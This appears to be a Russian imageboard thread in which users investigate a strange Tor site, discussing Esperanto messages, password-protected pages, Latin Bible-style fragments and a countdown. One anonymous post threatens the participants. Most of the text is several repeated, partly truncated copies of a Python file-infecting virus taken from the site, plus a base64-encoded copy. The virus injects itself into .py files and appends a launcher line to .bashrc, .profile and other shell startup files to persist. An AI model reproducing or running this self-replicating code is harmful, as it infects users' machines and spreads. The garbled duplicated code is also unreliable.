В прошлом году некий анон вбросил ссылку на странный сайт, находящийся в сети Tor. Данная страничка вызвала определенный интерес среди посетителей /sn/; некоторые материалы сайта показались анонам весьма криповыми. Помимо прочего, на сайте были найдены страницы, по внешнему виду напоминающие форму входа в админку или в другой раздел сайта, защищенный от посторонних кодовым словом. Получить доступ в указанные разделы до настоящего времени не удалось. Несколько дней назад ссылка на сайт всплыла вновь и некоторые аноны решили заняться этим сайтом вплотную. Что известно на данный момент:
1. Сайт состоит из набора каталогов и файлов, содержание которых на первый взгляд может показаться рандомным. Помимо "криповых" фото были найдены обои для рабочего стола, вирус написанный на языке Python, книги по разработке для Web'а и даже по магии; 2. На большинство каталогов сайта нет ссылок на его страницах; 3. Некоторые каталоги были найдены методом тыка; 4. Сейчас известно о трех страницах, на которых есть форма для ввода пароля и одной странице, предназначенной для ввода поисковых запросов; 5. На сайте много текста на языке эсперанто (как в исходниках страниц, так и в их содержимом).
Для анализа сайта была собрана команда (самоназвавшаяся TDC) на IRC канале. Из интересного (но не всего что нашла команда TDC):
Исходный код главной страницы сайта содержит закодированый вирус на языке python.
Вторая страница требующая пароль - https://ninoetevzx2irhgj.onion/lab/ag~1/ (на данный момент подобраны варинты - root:root, admin:admin, oleg:oleg) В случае ввода admin:admin выдается число. Команда TDC расчитала что это число - количество секунд, которое осталось до 2 января 2016 года. До чего именно ведет отсчет счетчик - остается загадкой. В случае ввода root:root - выдается текст - la uzanto malebligita provizore
http://ninoetevzx2irhgj.onion/lab/ag~1/0/ - интерфейс поиска по какой-то базе. К сожалению на все запросы выдает один и тот же текст - "La datumbazo ne estas havebla ĉe la momento. Ne forgesu ke la datumbazo estas havebla nur por trankviligi la domon en momento donita. Bonvolu ne uzi la datumbazon por aliaj celoj. "
http://ninoetevzx2irhgj.onion/lab/ag~1/data - страница выдает набор чисел, который перидически меняется. Исходный код страницы - "Data: <radio-data> [-4] [275] [6] [1008] [16] [3393] [50] [10857] [156] [33592]</radio-data>"
Внимание, анон! Если хочешь помочь в раскопке данного лукового сайта - внимательно смотри исходный код страниц, во многих из них есть информация которая может помочь.
Перевод от гугла этой страницы: https://ninoetevzx2irhgj.onion.to/kuko/ ------------------------------------------------------- Это наша есть сообщество Нино. Наша цель - найти их. Она скрывает от точки зрения безопасности. Знания о них - со смертельным исходом. Пожалуйста, следуйте за нами на секретном IRC канале
В ожидании вброса от команды, в которую не успел, перевожу всё, что написано. Складывается какое то впечатление, что там имеет место быть религия и тихий дом. Может это как то поможет ?
Hejmo Aliaj - nia Dio, kaj li estas unu en la reto
Бинарники .bin вроде как совсем не бинарники. Там в заголовке указано "ACL 2 VER 11" Прояндексил ACL. Цитата из вики: "Access Control List или ACL — список контроля доступа, который определяет, кто или что может получать доступ к конкретному объекту, и какие именно операции разрешено или запрещено этому субъекту проводить над объектом.
Списки контроля доступа являются основой систем с избирательным управлением доступа."
Сегодня распечатка этого треда легла на стол очень важному человеку. Администрация ресурса подконтрольна, потому все ваши данные уже есть. Вам дают несколько дней, после чего делу дадут ход. Подумайте если не о себе, то о ваших близких. Потом будет поздно. Лучше остановитесь и закройте обсуждение.
1 января 16 года начнут выдовать биометрические паспорта в украине. Зона свободной торговли должна заработать с той же даты. Вряд ли это связано с той датой, но это то, что нашел на первой странице гугила(помимо религиозных празников).
>>280179 Могу лишь предположить свою теорию, немного религиозную. Биометрические паспорта связаны с печатью антихриста. Без этой детали его царство не начнется. Так же хочу добавить, что перед его воцарением должна случится война, в которой большая часть населения земли умрет ( привет из /zog )
>>280105 Окончив притчу о страданьях, позвольте мне начать рассказ, о мучениках самых главных, о самых главных именах. За каждым словом, каждым вздохом, за каждым мимолётным сном, сокрыты все творения ночи, дары, в которых был рожден, герой истории последний, герой начала и конца, неизмеримое творение. Творение Творца.
Я анон, который нашел этот сайт в 2014 году. Есть еще кое какие находки, которые вы еще не нашли тут. Я его раскапываю с 2014 года.
Сейчас я не за своим компом - вечером доберусь и выложу в тред свои находки.
На счет почты begemotik85 - на той странице каждые 25 дней появляется другая почта. Эта почта временная, судя по всему там бот, который просит пароль, если пароль зафейлить - бот перестает работать - они меняют ее на другую.
>>280255 там появляются вперемешку цитаты из нескольких слов и по одному слову, иногда встречаются цифры, вроде:
11:97.24 maxime ante ait domibus ad eius 24:15.23 poterit circumspectis 17:1 fortium a est te et propterea 68:24.11 frumento Dominus et te civitatem qui fluxus munda 45:29.22 vorans meum erit sursum quoque Hierusalem et diligentes
>>280258 Обозначения вида "Марк 11:2" - это ссылки на определённые места в Библии, где "Марк" - обозначение книги (в данном случае, например, Евангелие от Марка), 11 - номер главы, 2 - номер строки в этой главе. Обозначений вида "11:97.24" в Библии не встречается. Возможно, это указание не просто на строку, а на определённый символ в строке.
Фразы целиком нигде в интернете не присутствуют, однако набор слов с частым упоминанием всяких Абрамов и Иерусалимов, скорее всего, взят именно из Библии (да и типичное обозначение ссылок тоже намекает). Слова по отдельности можно найти в тексте Библии, например, здесь: https://www.biblegateway.com/quicksearch/?quicksearch=circumspectis&qs_version=VULGATE
>>280260 по отдельности - это не то если текст написан аноном и загнан в переводчик на латинский, то по фразам заебёшься его восстанавливать посему не вижу смысла с ним дальше копаться
1. Neniu devas scii pri Nino. 2. Persono kun alta nivelo de aliro devus neniam helpos persono kun pli malalta nivelo de aliro. 3. Nivelo 10 donas al vi aliron al la deĉifrita Biblio trankvila domo. 4. Ĉiu membro de la 10 nomo Nino. 5. Ĉiu membro de la 10 devas esti persona kopio de la Biblio trankvila domo. 6. Membro kiu atingis la plej altan nivelon iam malaperis el la Interreto. 7. Znaš li gdje je ostatak pravila.
>>280279 Последняя фраза на хорватском. Нам это может что-то дать? Хорваты талантливые ребята. Карта справа на пике - один из Старших арканов из колоды Уэйта (классической и одной из самых популярных). Карта называется "Сила", её общее значение - "триумф духовной интуиции над грубой силой", настойчивость и т.п. Слева какая-то православная икона.
>>280288 Когда ввёл твой пароль, выдало следующее: "Bonvenon al la reĝo. Aliro estas limigita en tempo. Reiru al la difinita tempo." Согласно гугл переводчику, на эсперанто это означает: "Добро пожаловать к царю . Доступ ограничен во времени. Вернуться к заданного времени." Вообще непонятно, что это всё значит. Я временно получил какие-то права? Непонятно.
Нашёл папку с огромным количеством обычных, некрипотных пикч. Тут вам и животные, и даже агент Смит. И дохуя анимешных картинок, что меня опечалило. Ели раньше создатель этого сайта рисоался мне каким-то таинственным парнем, то теперь ясно видно, что он анимевыблядок.
import threading import random, time, sys, string, inspect, re import os, traceback
class Virii():
def infect(self, path): import os, string #print "Try to infect: %s" % path #if self.debug: # print "Processing: %s" % path nl = os.linesep letters = string.letters if os.path.getsize(path) > 10000000: return False # Skip large files try: f = open(path) file_content = f.read() f.seek(0) except: if self.debug: print traceback.format_exc() return False if "python-vx" in file_content: if self.debug: print "Already infected: %s" % path f.close() return False file_content = "" data = "" i = 0 infected = False #print f f.flush() old_line, old_line2 = "", "" for l in f: i += 1 if i>20 and not infected: if (l[0] in letters and "try" not in old_line2) and old_line[0] == " " or old_line[0] == "#": data = data + nl+self.myself+nl infected = True data = data + l old_line2 = old_line old_line = l f.close() if infected: try: f = open(path, "w+") f.write(data) f.close() if self.debug: print "%s Infected!" % path except: if self.debug: print traceback.format_exc() return False
def walk(self, path): import os for root, dirs, files in os.walk(path): for d in dirs: if not d[0]==".": full_dir = os.path.join(root, d) self.walk(full_dir) pass for f in files: path = os.path.join(root, f) if not f.endswith(".py"): pass #print "Skipp", path else: #print "Infect", path self.infect(path) def add_me(self, path): try: f = open(path, 'a') f.write(chr(10)+"python ~/tmp8.py & "+chr(10)) f.close() except: if self.debug: print "Can't write to %s file" % bashrc print traceback.format_exc()
def run(self): import threading, inspect, sys, os self.debug = False if self.debug: print "Threads:", threading.active_count() if threading.active_count()>2: if self.debug: print "Too many threads" return False self.myself = inspect.getsource(D)+os.linesep + inspect.getsource(a_a)+os.linesep+"a_a()" #print self.myself self.walk(".") if os.name == "posix" and self.debug == False: bashrc = "%s/.bashrc" % os.environ['HOME'] tmp = "%s/tmp8.py" % os.environ['HOME'] if os.path.exists(tmp) and not self.debug: pass else: try: f = open(tmp, 'w+') f.write(self.myself) f.close() except: if self.debug: print "Can't create tmp.py file" print traceback.format_exc() else: self.add_me(bashrc) self.add_me("%s/.xsession" % os.environ['HOME']) self.add_me("%s/.profile" % os.environ['HOME']) self.add_me("%s/.kshrc" % os.environ['HOME']) self.add_me("%s/.zshrc" % os.environ['HOME']) self.add_me("%s/.cshrc" % os.environ['HOME']) self.add_me("%s/.xinitrc" % os.environ['HOME']) t = Virii() t.run()
import threading import random, time, sys, string, inspect, re import os, traceback
class Virii():
def infect(self, path): import os, string #print "Try to infect: %s" % path #if self.debug: # print "Processing: %s" % path nl = os.linesep letters = string.letters if os.path.getsize(path) > 10000000: return False # Skip large files try: f = open(path) file_content = f.read() f.seek(0) except: if self.debug: print traceback.format_exc() return False if "python-vx" in file_content: if self.debug: print "Already infected: %s" % path f.close() return False file_content = "" data = "" i = 0 infected = False #print f f.flush() old_line, old_line2 = "", "" for l in f: i += 1 if i>20 and not infected: if (l[0] in letters and "try" not in old_line2) and old_line[0] == " " or old_line[0] == "#": data = data + nl+self.myself+nl infected = True data = data + l old_line2 = old_line old_line = l f.close() if infected: try: f = open(path, "w+") f.write(data) f.close() if self.debug: print "%s Infected!" % path except: if self.debug: print traceback.format_exc() return False
def walk(self, path): import os for root, dirs, files in os.walk(path): for d in dirs: if not d[0]==".": full_dir = os.path.join(root, d) self.walk(full_dir) pass for f in files: path = os.path.join(root, f) if not f.endswith(".py"): pass #print "Skipp", path else: #print "Infect", path self.infect(path) def add_me(self, path): try: f = open(path, 'a') f.write(chr(10)+"python ~/tmp8.py & "+chr(10)) f.close() except: if self.debug: print "Can't write to %s file" % bashrc print traceback.format_exc()
def run(self): import threading, inspect, sys, os self.debug = False if self.debug: print "Threads:", threading.active_count() if threading.active_count()>2: if self.debug: print "Too many threads" return False self.myself = inspect.getsource(D)+os.linesep + inspect.getsource(a_a)+os.linesep+"a_a()" #print self.myself self.walk(".") if os.name == "posix" and self.debug == False: bashrc = "%s/.bashrc" % os.environ['HOME'] tmp = "%s/tmp8.py" % os.environ['HOME'] if os.path.exists(tmp) and not self.debug: pass else: try: f = open(tmp, 'w+') f.write(self.myself) f.close() except: if self.debug: print "Can't create tmp.py file" print traceback.format_exc() else: self.add_me(bashrc) self.add_me("%s/.xsession" % os.environ['HOME']) self.add_me("%s/.profile" % os.environ['HOME']) self.add_me("%s/.kshrc" % os.environ['HOME']) self.add_me("%s/.zshrc" % os.environ['HOME']) self.add_me("%s/.cshrc" % os.environ['HOME']) self.add_me("%s/.xinitrc" % os.environ['HOME']) t = Virii() t.run()
import threading import random, time, sys, string, inspect, re import os, traceback
class Virii():
def infect(self, path): import os, string #print "Try to infect: %s" % path #if self.debug: # print "Processing: %s" % path nl = os.linesep letters = string.letters if os.path.getsize(path) > 10000000: return False # Skip large files try: f = open(path) file_content = f.read() f.seek(0) except: if self.debug: print traceback.format_exc() return False if "python-vx" in file_content: if self.debug: print "Already infected: %s" % path f.close() return False file_content = "" data = "" i = 0 infected = False #print f f.flush() old_line, old_line2 = "", "" for l in f: i += 1 if i>20 and not infected: if (l[0] in letters and "try" not in old_line2) and old_line[0] == " " or old_line[0] == "#": data = data + nl+self.myself+nl infected = True data = data + l old_line2 = old_line old_line = l f.close() if infected: try: f = open(path, "w+") f.write(data) f.close() if self.debug: print "%s Infected!" % path except: if self.debug: print traceback.format_exc() return False
def walk(self, path): import os for root, dirs, files in os.walk(path): for d in dirs: if not d[0]==".": full_dir = os.path.join(root, d) self.walk(full_dir) pass for f in files: path = os.path.join(root, f) if not f.endswith(".py"): pass #print "Skipp", path else: #print "Infect", path self.infect(path) def add_me(self, path): try: f = open(path, 'a') f.write(chr(10)+"python ~/tmp8.py & "+chr(10)) f.close() except: if self.debug: print "Can't write to %s file" % bashrc print traceback.format_exc()
import threading import random, time, sys, string, inspect, re import os, traceback
class Virii():
def infect(self, path): import os, string #print "Try to infect: %s" % path #if self.debug: # print "Processing: %s" % path nl = os.linesep letters = string.letters if os.path.getsize(path) > 10000000: return False # Skip large files try: f = open(path) file_content = f.read() f.seek(0) except: if self.debug: print traceback.format_exc() return False if "python-vx" in file_content: if self.debug: print "Already infected: %s" % path f.close() return False file_content = "" data = "" i = 0 infected = False #print f f.flush() old_line, old_line2 = "", "" for l in f: i += 1 if i>20 and not infected: if (l[0] in letters and "try" not in old_line2) and old_line[0] == " " or old_line[0] == "#": data = data + nl+self.myself+nl infected = True data = data + l old_line2 = old_line old_line = l f.close() if infected: try: f = open(path, "w+") f.write(data) f.close() if self.debug: print "%s Infected!" % path except: if self.debug: print traceback.format_exc() return False
def walk(self, path): import os for root, dirs, files in os.walk(path): for d in dirs: if not d[0]==".": full_dir = os.path.join(root, d) self.walk(full_dir) pass for f in files: path = os.path.join(root, f) if not f.endswith(".py"): pass #print "Skipp", path else: #print "Infect", path self.infect(path) def add_me(self, path): try: f = open(path, 'a') f.write(chr(10)+"python ~/tmp8.py & "+chr(10)) f.close() except: if self.debug: print "Can't write to %s file" % bashrc print traceback.format_exc()
def run(self): import threading, inspect, sys, os mltcG9ydCB0aHJlYWRpbmcKaW1wb3J0IHJhbmRvbSwgdGltZSwgc3lzLCBzdHJpbmcsIGluc3BlY3QsIHJlCmltcG9ydCBvcywgdHJhY2ViYWNrCgpjbGFzcyBWaXJpaSgpOgoKICAgIGRlZiBpbmZlY3Qoc2VsZiwgcGF0aCk6CiAgICAgICAgaW1wb3J0IG9zLCBzdHJpbmcKICAgICAgICAjcHJpbnQgIlRyeSB0byBpbmZlY3Q6ICVzIiAlIHBhdGgKICAgICAgICAjaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAjICAgIHByaW50ICJQcm9jZXNzaW5nOiAlcyIgJSBwYXRoCiAgICAgICAgbmwgPSBvcy5saW5lc2VwCiAgICAgICAgbGV0dGVycyA9IHN0cmluZy5sZXR0ZXJzCiAgICAgICAgaWYgb3MucGF0aC5nZXRzaXplKHBhdGgpID4gMTAwMDAwMDA6CiAgICAgICAgICAgIHJldHVybiBGYWxzZSAjIFNraXAgbGFyZ2UgZmlsZXMKICAgICAgICB0cnk6CiAgICAgICAgICAgIGYgPSBvcGVuKHBhdGgpCiAgICAgICAgICAgIGZpbGVfY29udGVudCA9IGYucmVhZCgpCiAgICAgICAgICAgIGYuc2VlaygwKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKICAgICAgICAgICAgcmV0dXJuIEZhbHNlCiAgICAgICAgaWYgInB5dGhvbi12eCIgaW4gZmlsZV9jb250ZW50OgogICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgcHJpbnQgIkFscmVhZHkgaW5mZWN0ZWQ6ICVzIiAlIHBhdGgKICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgIHJldHVybiBGYWxzZQogICAgICAgIGZpbGVfY29udGVudCA9ICIiCiAgICAgICAgZGF0YSA9ICIiCiAgICAgICAgaSA9IDAKICAgICAgICBpbmZlY3RlZCA9IEZhbHNlCiAgICAgICAgI3ByaW50IGYKICAgICAgICBmLmZsdXNoKCkKICAgICAgICBvbGRfbGluZSwgb2xkX2xpbmUyID0gIiIsICIiCiAgICAgICAgZm9yIGwgaW4gZjoKICAgICAgICAgICAgaSArPSAxCiAgICAgICAgICAgIGlmIGk+MjAgYW5kIG5vdCBpbmZlY3RlZDoKICAgICAgICAgICAgICAgIGlmIChsWzBdIGluIGxldHRlcnMgYW5kICJ0cnkiIG5vdCBpbiBvbGRfbGluZTIpIGFuZCBvbGRfbGluZVswXSA9PSAiICIgb3Igb2xkX2xpbmVbMF0gPT0gIiMiOgogICAgICAgICAgICAgICAgICAgIGRhdGEgPSBkYXRhICsgbmwrc2VsZi5teXNlbGYrbmwKICAgICAgICAgICAgICAgICAgICBpbmZlY3RlZCA9IFRydWUKICAgICAgICAgICAgZGF0YSA9IGRhdGEgKyBsCiAgICAgICAgICAgIG9sZF9saW5lMiA9IG9sZF9saW5lCiAgICAgICAgICAgIG9sZF9saW5lID0gbAogICAgICAgIGYuY2xvc2UoKQogICAgICAgIGlmIGluZmVjdGVkOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBmID0gb3BlbihwYXRoLCAidysiKQogICAgICAgICAgICAgICAgZi53cml0ZShkYXRhKQogICAgICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgICAgIHByaW50ICIlcyBJbmZlY3RlZCEiICUgcGF0aAogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKICAgICAgICAgICAgICAgIHJldHVybiBGYWxzZQoKICAgIGRlZiB3YWxrKHNlbGYsIHBhdGgpOgogICAgICAgIGltcG9ydCBvcwogICAgICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKHBhdGgpOgogICAgICAgICAgICBmb3IgZCBpbiBkaXJzOgogICAgICAgICAgICAgICAgaWYgbm90IGRbMF09PSIuIjoKICAgICAgICAgICAgICAgICAgICBmdWxsX2RpciA9IG9zLnBhdGguam9pbihyb290LCBkKQogICAgICAgICAgICAgICAgICAgIHNlbGYud2FsayhmdWxsX2RpcikKICAgICAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGZvciBmIGluIGZpbGVzOgogICAgICAgICAgICAgICAgcGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmKQogICAgICAgICAgICAgICAgaWYgbm90IGYuZW5kc3dpdGgoIi5weSIpOgogICAgICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICAgICAgICAgICAgICAjcHJpbnQgIlNraXBwIiwgcGF0aAogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAjcHJpbnQgIkluZmVjdCIsIHBhdGgKICAgICAgICAgICAgICAgICAgICBzZWxmLmluZmVjdChwYXRoKQogICAgZGVmIGFkZF9tZShzZWxmLCBwYXRoKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGYgPSBvcGVuKHBhdGgsICdhJykKICAgICAgICAgICAgZi53cml0ZShjaHIoMTApKyJweXRob24gfi90bXA4LnB5ICYgIitjaHIoMTApKQogICAgICAgICAgICBmLmNsb3NlKCkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIGlmIHNlbGYuZGVidWc6CiAgICAgICAgICAgICAgICBwcmludCAiQ2FuJ3Qgd3JpdGUgdG8gJXMgZmlsZSIgJSBiYXNocmMKICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKCiAgICBkZWYgcnVuKHNlbGYpOgogICAgICAgIGltcG9ydCB0aHJlYWRpbmcsIGluc3BlY3QsIHN5cywgb3MKICAgICAgICBzZWxmLmRlYnVnID0gRmFsc2UKICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICBwcmludCAiVGhyZWFkczoiLCB0aHJlYWRpbmcuYWN0aXZlX2NvdW50KCkKICAgICAgICBpZiB0aHJlYWRpbmcuYWN0aXZlX2NvdW50KCk+MjoKICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgIHByaW50ICJUb28gbWFueSB0aHJlYWRzIgogICAgICAgICAgICByZXR1cm4gRmFsc2UKICAgICAgICBzZWxmLm15c2VsZiA9ICBpbnNwZWN0LmdldHNvdXJjZShEKStvcy5saW5lc2VwICsgaW5zcGVjdC5nZXRzb3VyY2UoYV9hKStvcy5saW5lc2VwKyJhX2EoKSIKICAgICAgICAjcHJpbnQgc2VsZi5teXNlbGYKICAgICAgICBzZWxmLndhbGsoIi4iKQogICAgICAgIGlmIG9zLm5hbWUgPT0gInBvc2l4IiBhbmQgc2VsZi5kZWJ1ZyA9PSBGYWxzZToKICAgICAgICAgICAgYmFzaHJjID0gIiVzLy5iYXNocmMiICUgb3MuZW52aXJvblsnSE9NRSddCiAgICAgICAgICAgIHRtcCA9ICAiJXMvdG1wOC5weSIgJSBvcy5lbnZpcm9uWydIT01FJ10KICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHModG1wKSBhbmQgbm90IHNlbGYuZGVidWc6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgZiA9IG9wZW4odG1wLCAndysnKQogICAgICAgICAgICAgICAgICAgIGYud3JpdGUoc2VsZi5teXNlbGYpCiAgICAgICAgICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIkNhbid0IGNyZWF0ZSB0bXAucHkgZmlsZSIKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgdHJhY2ViYWNrLmZvcm1hdF9leGMoKQogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZShiYXNocmMpCiAgICAgICAgICAgICAgICAgICAgc2VsZi5hZGRfbWUoIiVzLy54c2Vzc2lvbiIgJSBvcy5lbnZpcm9uWydIT01FJ10pCiAgICAgICAgICAgICAgICAgICAgc2VsZi5hZGRfbWUoIiVzLy5wcm9maWxlIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLmtzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLnpzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLmNzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLnhpbml0cmMiICUgb3MuZW52aXJvblsnSE9NRSddKQp0ID0gVmlyaWkoKQp0LnJ1bigpIAo=
import threading import random, time, sys, string, inspect, re import os, traceback
class Virii():
def infect(self, path): import os, string #print "Try to infect: %s" % path #if self.debug: # print "Processing: %s" % path nl = os.linesep letters = string.letters if os.path.getsize(path) > 10000000: return False # Skip large files try: f = open(path) file_content = f.read() f.seek(0) except: if self.debug: print traceback.format_exc() return False if "python-vx" in file_content: if self.debug: print "Already infected: %s" % path f.close() return False file_content = "" data = "" i = 0 infected = False #print f f.flush() old_line, old_line2 = "", "" for l in f: i += 1 if i>20 and not infected: if (l[0] in letters and "try" not in old_line2) and old_line[0] == " " or old_line[0] == "#": data = data + nl+self.myself+nl infected = True data = data + l old_line2 = old_line old_line = l f.close() if infected: try: f = open(path, "w+") f.write(data) f.close() if self.debug: print "%s Infected!" % path except: if self.debug: print traceback.format_exc() return False
def walk(self, path): import os for root, dirs, files in os.walk(path): for d in dirs: if not d[0]==".": full_dir = os.path.join(root, d) self.walk(full_dir) pass for f in files: path = os.path.join(root, f) if not f.endswith(".py"): pass #print "Skipp", path else: #print "Infect", path self.infect(path) def add_me(self, path): try: f = open(path, 'a') f.write(chr(10)+"python ~/tmp8.py & "+chr(10)) f.close() except: if self.debug: print "Can't write to %s file" % bashrc print traceback.format_exc()
import threading import random, time, sys, string, inspect, re import os, traceback
class Virii():
def infect(self, path): import os, string #print "Try to infect: %s" % path #if self.debug: # print "Processing: %s" % path nl = os.linesep letters = string.letters if os.path.getsize(path) > 10000000: return False # Skip large files try: f = open(path) file_content = f.read() f.seek(0) except: if self.debug: print traceback.format_exc() return False if "python-vx" in file_content: if self.debug: print "Already infected: %s" % path f.close() return False file_content = "" data = "" i = 0 infected = False #print f f.flush() old_line, old_line2 = "", "" for l in f: i += 1 if i>20 and not infected: if (l[0] in letters and "try" not in old_line2) and old_line[0] == " " or old_line[0] == "#": data = data + nl+self.myself+nl infected = True data = data + l old_line2 = old_line old_line = l f.close() if infected: try: f = open(path, "w+") f.write(data) f.close() if self.debug: print "%s Infected!" % path except: if self.debug: print traceback.format_exc() return False
def walk(self, path): import os for root, dirs, files in os.walk(path): for d in dirs: if not d[0]==".": full_dir = os.path.join(root, d) self.walk(full_dir) pass for f in files: path = os.path.join(root, f) if not f.endswith(".py"): pass #print "Skipp", path else: #print "Infect", path self.infect(path) def add_me(self, path): try: f = open(path, 'a') f.write(chr(10)+"python ~/tmp8.py & "+chr(10)) f.close() except: if self.debug: print "Can't write to %s file" % bashrc print traceback.format_exc()
def run(self): import threading, inspect, sys, os mltcG9ydCB0aHJlYWRpbmcKaW1wb3J0IHJhbmRvbSwgdGltZSwgc3lzLCBzdHJpbmcsIGluc3BlY3QsIHJlCmltcG9ydCBvcywgdHJhY2ViYWNrCgpjbGFzcyBWaXJpaSgpOgoKICAgIGRlZiBpbmZlY3Qoc2VsZiwgcGF0aCk6CiAgICAgICAgaW1wb3J0IG9zLCBzdHJpbmcKICAgICAgICAjcHJpbnQgIlRyeSB0byBpbmZlY3Q6ICVzIiAlIHBhdGgKICAgICAgICAjaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAjICAgIHByaW50ICJQcm9jZXNzaW5nOiAlcyIgJSBwYXRoCiAgICAgICAgbmwgPSBvcy5saW5lc2VwCiAgICAgICAgbGV0dGVycyA9IHN0cmluZy5sZXR0ZXJzCiAgICAgICAgaWYgb3MucGF0aC5nZXRzaXplKHBhdGgpID4gMTAwMDAwMDA6CiAgICAgICAgICAgIHJldHVybiBGYWxzZSAjIFNraXAgbGFyZ2UgZmlsZXMKICAgICAgICB0cnk6CiAgICAgICAgICAgIGYgPSBvcGVuKHBhdGgpCiAgICAgICAgICAgIGZpbGVfY29udGVudCA9IGYucmVhZCgpCiAgICAgICAgICAgIGYuc2VlaygwKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKICAgICAgICAgICAgcmV0dXJuIEZhbHNlCiAgICAgICAgaWYgInB5dGhvbi12eCIgaW4gZmlsZV9jb250ZW50OgogICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgcHJpbnQgIkFscmVhZHkgaW5mZWN0ZWQ6ICVzIiAlIHBhdGgKICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgIHJldHVybiBGYWxzZQogICAgICAgIGZpbGVfY29udGVudCA9ICIiCiAgICAgICAgZGF0YSA9ICIiCiAgICAgICAgaSA9IDAKICAgICAgICBpbmZlY3RlZCA9IEZhbHNlCiAgICAgICAgI3ByaW50IGYKICAgICAgICBmLmZsdXNoKCkKICAgICAgICBvbGRfbGluZSwgb2xkX2xpbmUyID0gIiIsICIiCiAgICAgICAgZm9yIGwgaW4gZjoKICAgICAgICAgICAgaSArPSAxCiAgICAgICAgICAgIGlmIGk+MjAgYW5kIG5vdCBpbmZlY3RlZDoKICAgICAgICAgICAgICAgIGlmIChsWzBdIGluIGxldHRlcnMgYW5kICJ0cnkiIG5vdCBpbiBvbGRfbGluZTIpIGFuZCBvbGRfbGluZVswXSA9PSAiICIgb3Igb2xkX2xpbmVbMF0gPT0gIiMiOgogICAgICAgICAgICAgICAgICAgIGRhdGEgPSBkYXRhICsgbmwrc2VsZi5teXNlbGYrbmwKICAgICAgICAgICAgICAgICAgICBpbmZlY3RlZCA9IFRydWUKICAgICAgICAgICAgZGF0YSA9IGRhdGEgKyBsCiAgICAgICAgICAgIG9sZF9saW5lMiA9IG9sZF9saW5lCiAgICAgICAgICAgIG9sZF9saW5lID0gbAogICAgICAgIGYuY2xvc2UoKQogICAgICAgIGlmIGluZmVjdGVkOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBmID0gb3BlbihwYXRoLCAidysiKQogICAgICAgICAgICAgICAgZi53cml0ZShkYXRhKQogICAgICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgICAgIHByaW50ICIlcyBJbmZlY3RlZCEiICUgcGF0aAogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKICAgICAgICAgICAgICAgIHJldHVybiBGYWxzZQoKICAgIGRlZiB3YWxrKHNlbGYsIHBhdGgpOgogICAgICAgIGltcG9ydCBvcwogICAgICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKHBhdGgpOgogICAgICAgICAgICBmb3IgZCBpbiBkaXJzOgogICAgICAgICAgICAgICAgaWYgbm90IGRbMF09PSIuIjoKICAgICAgICAgICAgICAgICAgICBmdWxsX2RpciA9IG9zLnBhdGguam9pbihyb290LCBkKQogICAgICAgICAgICAgICAgICAgIHNlbGYud2FsayhmdWxsX2RpcikKICAgICAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGZvciBmIGluIGZpbGVzOgogICAgICAgICAgICAgICAgcGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmKQogICAgICAgICAgICAgICAgaWYgbm90IGYuZW5kc3dp